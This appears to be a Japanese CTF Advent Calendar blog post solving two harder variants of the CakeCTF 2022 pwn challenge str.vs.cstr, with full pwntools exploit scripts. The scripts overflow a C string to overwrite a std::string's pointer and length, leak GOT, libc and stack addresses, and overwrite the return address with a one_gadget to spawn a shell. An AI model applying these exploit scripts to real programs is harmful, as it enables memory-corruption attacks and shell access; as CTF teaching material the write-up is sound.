はじめに

この記事は 1日1CTF Advent Calendar 2024 の 4 日目の記事です。

また、この記事は前日の記事の続きです。まだ読んでいない方は先にそちらをご覧ください。

問題

str.vs.cstr (問題出典: CakeCTF 2022)

Which do you like, C string or C++ string?

リポジトリ: https://github.com/theoremoon/cakectf2022-public/tree/master/pwn/str_vs_cstr

今回は、フラグに書かれていた 2 つの宿題を解く。

HW1: Remove "call_me" and solve it

宿題1: call_me 関数を削除して解く。

main.cpp.diff

9a10,13
<   __attribute__((used))
<   void call_me() {
<     std::system("/bin/sh");
<   }

まずいくつかの関数の GOT を leak して libc を特定する。

前回同様 str のデータへのポインタを GOT に書き換え、出力させれば OK 。ただし、今回は str の長さまで書き換える必要がある点に注意 (何もしないと長さ 0 の文字列扱いになり何も出力されない)。

from pwn import *
import sys

################################################
# context.log_level = "DEBUG"
FILENAME = "./chall"
LIBCNAME = ""
host = "localhost"
port = 9003
################################################

context(os="linux", arch="amd64")
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME != "" else None

if len(sys.argv) > 1:
    if sys.argv[1][0] == "d":
        cmd = """
        set follow-fork-mode parent
        """
        io = gdb.debug(FILENAME, cmd)
    elif sys.argv[1][0] == "r":
        io = remote(host, port)
else:
    io = process(FILENAME)

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x404068) + p64(8))  # str のデータのポインタを setbuf の GOT に書き換える + str の長さを 8 に書き換える

io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
setbuf = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  setbuf の GOT を読み込む
print(f"setbuf: {hex(setbuf)}")

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x404030) + p64(8))  # str のデータのポインタを __cxa_atexit の GOT に書き換える + str の長さを 8 に書き換える

io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
__cxa_atexit = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  __cxa_atexit の GOT を読み込む
print(f"__cxa_atexit: {hex(__cxa_atexit)}")

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x403fe8) + p64(8))  # str のデータのポインタを __libc_start_main の GOT に書き換える + str の長さを 8 に書き換える

io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
__libc_start_main = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  __libc_start_main の GOT を読み込む
print(f"__libc_start_main: {hex(__libc_start_main)}")

io.interactive()

setbuf: 0x7744e97fead0
__cxa_atexit: 0x7744e97b9de0
__libc_start_main: 0x7744e9796f90

libc を特定したら、libc の environ を読めば stack leak ができるので、リターンアドレスを書き換え one_gadget を呼び出して終わり。

from pwn import *
import sys

################################################
# context.log_level = "DEBUG"
FILENAME = "./chall"
LIBCNAME = "./libc.so.6"
host = "localhost"
port = 9003
################################################

context(os="linux", arch="amd64")
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME != "" else None

if len(sys.argv) > 1:
    if sys.argv[1][0] == "d":
        cmd = """
        set follow-fork-mode parent
        """
        io = gdb.debug(FILENAME, cmd)
    elif sys.argv[1][0] == "r":
        io = remote(host, port)
else:
    io = process(FILENAME)

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x403FE8) + p64(8))  # str のデータのポインタを __libc_start_main の GOT に書き換える + str の長さを 8 に書き換える

io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
__libc_start_main = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  __libc_start_main の GOT を読み込む

print(f"__libc_start_main: {hex(__libc_start_main)}")

environ = __libc_start_main + 0x1CB670
print(f"environ: {hex(environ)}")

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(environ) + p64(8))  # str のデータのポインタを environ に書き換える + str の長さを 8 に書き換える

io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
stack_leak = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  environ を読み込む
print(f"stack_leak: {hex(stack_leak)}")

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(stack_leak - 0x100) + p64(8))  # str のデータのポインタを return address に書き換える + str の長さを 8 に書き換える

one_gadget = __libc_start_main + 0xBFB74

io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"str: ")
io.sendline(p64(one_gadget))  # return address に one_gadget のアドレス を書き込む

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0))  # str のデータのポインタを null に

io.recvuntil(b"choice: ")
io.sendline(b"-1")  # return 0 させるためなので何でもいい

io.interactive()

HW2: Set PIE+RELRO and solve it

Makefile.diff

2c2
< 	g++ -Wl,-z,lazy,-z,relro main.cpp -o chall -no-pie
---
> 	g++ -Wl,-z,now,-z,relro main.cpp -o chall -pie

PIE 有効、FULL RELRO な環境で解いてみる。また、HW1 の縛りも続行。

ここで初心に帰って c_str に AAAAAAAA を、 str に BBBBBBBB を書き込んだときの stack の様子を見てみよう。

実は str のポインタは (str の長さが16以下の時) stack を指しているので、c_str に 0x20 文字(と文字列終端に入る null 文字) を入れればポインタをの下 1 byte を 0x00 に破壊できて、スタック上の違う場所を読み出せる。

rsp の位置に stack のアドレスが置いてあるので、破壊したポインタが指す場所いい感じのとき(これは $ \frac{1}{16} $ の確率) 、stack leak ができる。ただし、str に長さ 8 の文字列を入れた後にポインタを破壊しないと先ほど同様に長さ 0 の文字列扱いになり何も出力されないので注意。

ポインタがいい感じに破壊できたときの図

あとはそこから相対的に libc base を leak してからリターンアドレスを書き換えて one_gadget に飛ばしてあげればよい。

from pwn import *
import sys

################################################
# context.log_level = "DEBUG"
FILENAME = "./chall"
LIBCNAME = "./libc.so.6"
host = "localhost"
port = 9003
################################################

context(os="linux", arch="amd64")
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME != "" else None

if len(sys.argv) > 1:
    if sys.argv[1][0] == "d":
        cmd = """
        set follow-fork-mode parent
        """
        io = gdb.debug(FILENAME, cmd)
    elif sys.argv[1][0] == "r":
        io = remote(host, port)
else:
    io = process(FILENAME)

io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"str: ")
io.sendline(b"B" * 0x8)  # str のデータの長さを 8 にしておく


io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20)  # str のデータのポインタを破壊

io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
stack_leak = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  破壊したポインタの先のデータを読み込む
print(f"stack_leak: {hex(stack_leak)}")

assert stack_leak & 0xff == 0x20

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(stack_leak + 0x58) + p64(8))  # str のデータのポインタを return address に書き換える + str の長さを 8 に書き換える


io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
libc_leak = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  return address を読み込む
print(f"libc_leak: {hex(libc_leak)}")

one_gadget = libc_leak + 0xbfa81

io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"str: ")
io.sendline(p64(one_gadget))  # return address に one_gadget のアドレスを書き込む

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0))  # str のデータのポインタを null に

io.recvuntil(b"choice: ")
io.sendline(b"-1")  # return 0 させるためなので何でもいい

io.interactive()